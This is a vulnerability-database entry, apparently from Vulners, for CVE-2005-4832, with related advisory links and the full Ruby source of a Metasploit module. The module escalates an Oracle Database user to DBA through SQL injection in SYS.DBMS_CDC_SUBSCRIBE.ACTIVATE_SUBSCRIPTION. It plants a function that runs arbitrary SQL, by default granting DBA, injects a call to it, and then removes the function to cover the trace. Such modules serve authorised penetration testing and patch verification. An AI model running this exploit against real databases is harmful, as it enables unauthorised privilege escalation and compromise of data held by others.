Lucene search
+L

Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION

🗓️ 13 Dec 2011 21:44:39Reported by Esteban Martinez Fayo, juan vazquez <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 24 Views

Escalate Oracle DB user to DBA by exploiting SQL injection in SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTIO

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Oracle Database Multiple Remote Vulnerabilities
13 Apr 200500:00
nessus
Tenable Nessus
Oracle Database Multiple Remote Vulnerabilities
19 Apr 200500:00
nessus
Tenable Nessus
Oracle Database 10g Multiple Remote Vulnerabilities
13 Apr 200500:00
nessus
Circl
CVE-2005-4832
29 May 201815:50
circl
CVE
CVE-2005-4832
3 Mar 200720:00
cve
Cvelist
CVE-2005-4832
3 Mar 200720:00
cvelist
NVD
CVE-2005-4832
31 Dec 200505:00
nvd
Packet Storm
Oracle DB SQL Injection Via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION
31 Aug 202400:00
packetstorm
Packet Storm
📄 Oracle Database Server 9.2.0.5 SQL Injection
13 Feb 202600:00
packetstorm
securityvulns
Multiple Oracle application server vulnerabilities
23 Dec 200600:00
securityvulns
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::ORACLE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Oracle DB SQL Injection via SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION',
      'Description'    => %q{
        This module will escalate an Oracle DB user to DBA by exploiting a sql injection
        bug in the SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION package/function.
        This vulnerability affects to Oracle Database Server 9i up to 9.2.0.5 and
        10g up to 10.1.0.4.
      },
      'Author'         =>
        [
          'Esteban Martinez Fayo', # Vulnerability discovery and exploit
          'juan vazquez'           # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-4832'],
          [ 'BID', '13236' ],
          [ 'OSVDB', '15553' ],
          [ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2005-02.html'],
          [ 'URL', 'http://www.argeniss.com/research/OraDBMS_CDC_SUBSCRIBEExploit.txt']
        ],
      'DisclosureDate' => '2005-04-18'))

    register_options(
      [
        OptString.new('SQL', [ false, 'SQL to execute.',  "GRANT DBA to #{datastore['DBUSER']}"]),
      ])
  end

  def run
    return if not check_dependencies

    name = Rex::Text.rand_text_alpha(rand(10) + 1)

    function = "
      create or replace function #{datastore['DBUSER']}.#{name} return varchar2
      authid current_user is pragma autonomous_transaction;
      begin
      execute immediate '#{datastore['SQL']}';
      return '';
      end;
      "

    injection = "
      begin
        sys.dbms_cdc_subscribe.activate_subscription('''||#{datastore['DBUSER']}.#{name}()||''');
      end;
    "

    clean = "drop function #{name}"

    print_status("Sending function...")
    prepare_exec(function)

    begin
      print_status("Attempting sql injection on SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION...")
      prepare_exec(injection)
    rescue ::OCIError => e
    ensure
      print_status("Removing function '#{name}'...")
      prepare_exec(clean)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
1.1Low risk
Vulners AI Score1.1
CVSS 27.5
EPSS0.4167
24